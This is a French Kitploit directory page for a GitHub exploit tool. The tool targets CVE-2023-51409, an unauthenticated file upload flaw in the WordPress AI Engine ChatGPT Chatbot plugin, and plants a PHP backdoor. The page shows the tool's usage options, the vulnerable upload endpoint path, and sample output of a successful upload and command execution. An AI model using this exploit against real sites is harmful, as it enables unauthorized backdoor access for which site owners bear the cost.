Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-51409 — Exploit automatisé pour CVE-2023-51409, une vulnérabilité de téléchargement de fichier arbitraire sans authentification dans le plugin WordPress AI Engine ChatGPT Chatbot, permettant le déploiement d'une backdoor PHP. | Kitploit
Outils/GitHubGitHub/nxploited/cve-2023-51409
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubnxploited/cve-2023-51409

CVE-2023-51409

Exploit automatisé pour CVE-2023-51409, une vulnérabilité de téléchargement de fichier arbitraire sans authentification dans le plugin WordPress AI Engine ChatGPT Chatbot, permettant le déploiement d'une backdoor PHP.

Voir le dépôt
il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2023-51409

AI Engine: ChatGPT Chatbot <= 1.9.98 - Téléchargement Arbitraire de Fichier Non Authentifié via rest_upload

Description

Cela pourrait permettre à un acteur malveillant de télécharger tout type de fichier sur votre site web. Cela peut inclure des portes dérobées qui sont ensuite exécutées pour obtenir un accès supplémentaire à votre site.

utilisation :

root@kitploit:~
options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Base URL of the WordPress instance.
  -code PHP_CODE, --php_code PHP_CODE
  PHP code to upload (default, id).

Le résultat

root@kitploit:~
[INFO] Initiating version check for target.
[INFO] Target plugin version detected: 1.9.98
[VULNERABLE] Detected vulnerable plugin version. Proceeding with exploitation.
[INFO] Target is vulnerable. Proceeding with file upload.
[INFO] Attempting to upload file: Nxploit.php to endpoint: http://192.168.100.74:888/wordpress/wp-json/mwai-ui/v1/files/upload
[SUCCESS] File uploaded successfully! Accessible at: http://192.168.100.74:888/wordpress/wp-content/uploads/2025/01/Nxploit.php
[INFO] Exploitation complete. Uploaded file URL: http://192.168.100.74:888/wordpress/wp-content/uploads/2025/01/Nxploit.php

code php par défaut

root@kitploit:~
id 
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Télécharger l’outil